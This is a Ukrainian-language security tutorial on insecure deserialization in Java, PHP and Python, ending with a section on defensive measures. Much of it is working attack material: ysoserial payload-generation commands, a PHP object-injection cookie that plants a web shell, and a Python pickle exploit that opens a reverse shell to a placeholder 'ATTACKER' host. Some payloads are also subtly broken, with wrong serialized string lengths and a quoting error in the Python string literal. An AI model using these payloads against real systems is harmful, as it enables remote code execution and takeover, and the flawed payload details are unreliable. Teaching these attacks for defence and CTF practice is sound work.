Research / Небезпечна десеріалізація: Java, PHP, Python
RESEARCH
UA EN

Небезпечна десеріалізація: Java, PHP, Python

✍ admin 📅 26.05.2026 👁 118

Що таке десеріалізація

Серіалізація — конвертація об'єкта в пам'яті до формату який можна зберегти або передати по мережі (байти, JSON, XML).

Десеріалізація — зворотній процес: відновлення об'єкта з серіалізованих даних.

Проблема: якщо додаток десеріалізує дані від користувача, атакуючий може передати шкідливий об'єкт і примусити додаток виконати довільний код.


Java: ysoserial та gadget chains

Механізм

Java має вбудований механізм серіалізації (java.io.Serializable). При десеріалізації викликаються методи readObject(). Якщо в classpath є бібліотеки з небезпечними "gadget chain" — виконується довільний код.

Magic bytes Java серіалізації: AC ED 00 05 (або rO0AB в base64)

Gadget Chains (ysoserial)

# Завантажити ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Список доступних гаджет-ланцюжків
java -jar ysoserial-all.jar

# Згенерувати payload
java -jar ysoserial-all.jar CommonsCollections6 'id' | base64 -w0

# Найпоширеніші гаджет-ланцюжки:
# CommonsCollections1-7  (Apache Commons Collections)
# Spring1, Spring2       (Spring Framework)
# Hibernate1, Hibernate2
# URLDNS (DNS callback для виявлення без RCE)

Виявлення (URLDNS gadget)

# Безпечний PoC — тільки DNS запит, без RCE
java -jar ysoserial-all.jar URLDNS 'http://UNIQUE.interact.sh' | base64 -w0
# Відправити в поле яке може десеріалізуватись
# Якщо прийшов DNS запит - є десеріалізація Java об'єктів

Де шукати

- Java RMI (порт 1099)
- JMX (порт 1099/9999)
- HTTP параметри і cookies з base64 що починаються на rO0
- XML/AMF/Hessian ендпоінти
- ViewState в JSF

PHP: Object Injection

Механізм

PHP серіалізує об'єкти через serialize(). Якщо десеріалізований об'єкт має метод __destruct(), __wakeup(), __toString() — вони викликаються автоматично.

// Серіалізований рядок
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
// O:4 = Object з 4-символьною назвою класу
// :2  = 2 властивості

Exploit

// Вразливий код сервера
class Logger {
    public $filename;
    public $data;

    public function __destruct() {
        file_put_contents($this->filename, $this->data);
        // Запис у файл при знищенні об'єкту!
    }
}

// Нормальний клас
class User {
    public $name;
}

// При десеріалізації:
$data = base64_decode($_COOKIE['user']);
$user = unserialize($data);  // ВРАЗЛИВЕ місце

// Атака: підміна cookie на:
// O:6:"Logger":2:{s:8:"filename";s:15:"/var/www/sh.php";s:4:"data";s:29:"<?php system($_GET['c']); ?>";}
// В base64: TzY6Ikxvb2dlciI6Mjp7czo4...
# Генерація PHP payload на Python
payload = 'O:6:"Logger":2:{s:8:"filename";s:24:"/var/www/html/shell.php";s:4:"data";s:30:"<?php system($_GET['c']); ?>";}'
import base64
print(base64.b64encode(payload.encode()).decode())

Поширені magic methods PHP

Метод Коли викликається
__destruct При знищенні об'єкту (завжди після десеріалізації)
__wakeup Одразу після unserialize()
__toString При конвертації в рядок
__invoke При виклику як функція
__call При виклику неіснуючого методу

Python: Pickle RCE

Механізм

Python pickle модуль серіалізує об'єкти. При десеріалізації (unpickling) виконуються __reduce__ і __reduce_ex__ методи об'єкта. Через __reduce__ можна вказати довільну функцію для виклику.

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/pwned',))

# Серіалізація
payload = pickle.dumps(Exploit())
print(payload)  # байти з вбудованою командою

# При десеріалізації:
pickle.loads(payload)  # виконає os.system('id > /tmp/pwned')

CTF Exploit

import pickle, base64, os

class RCE:
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'"
        return (os.system, (cmd,))

payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)
# Підставити в поле яке pickle.loads() десеріалізує

Де шукати pickle

# Часто в:
# - Cookies: session cookie у Flask без SecretKey
# - ML сервіси (модель у .pkl файлі)
# - Черги задач (Celery, RQ з Redis)
# - Кешування (Redis, Memcached)

YAML/Marshal/MessagePack

# YAML теж небезпечний!
import yaml
yaml.load(user_input)             # ВРАЗЛИВО
yaml.safe_load(user_input)        # БЕЗПЕЧНО

# Ruby Marshal
Marshal.load(user_input)          # ВРАЗЛИВО

# Node.js serialize-javascript
const serialize = require('node-serialize');
serialize.unserialize(user_input) # ВРАЗЛИВО

Захист

// Java: фільтрація класів при десеріалізації
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "java.base/*;!*"  // дозволити тільки java.base
);
ObjectInputStream ois = new ObjectInputStream(is);
ois.setObjectInputFilter(filter);
// PHP: уникати unserialize() з даними від користувача
// Якщо потрібна серіалізація — використовувати JSON
$data = json_decode($_COOKIE['data'], true);  // безпечно

// PHP 7+: allowed_classes
$obj = unserialize($data, ['allowed_classes' => ['User']]);
# Python: ніколи не pickle.loads() дані від користувача
# Використовувати JSON для зовнішніх даних
import json
data = json.loads(user_input)  # безпечно

# Для внутрішнього кешу з перевіркою:
import hmac, hashlib
def safe_loads(data, secret):
    payload, sig = data[:-32], data[-32:]
    if hmac.compare_digest(sig, hmac.new(secret, payload, hashlib.sha256).digest()):
        return pickle.loads(payload)
    raise ValueError("Invalid signature")
Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?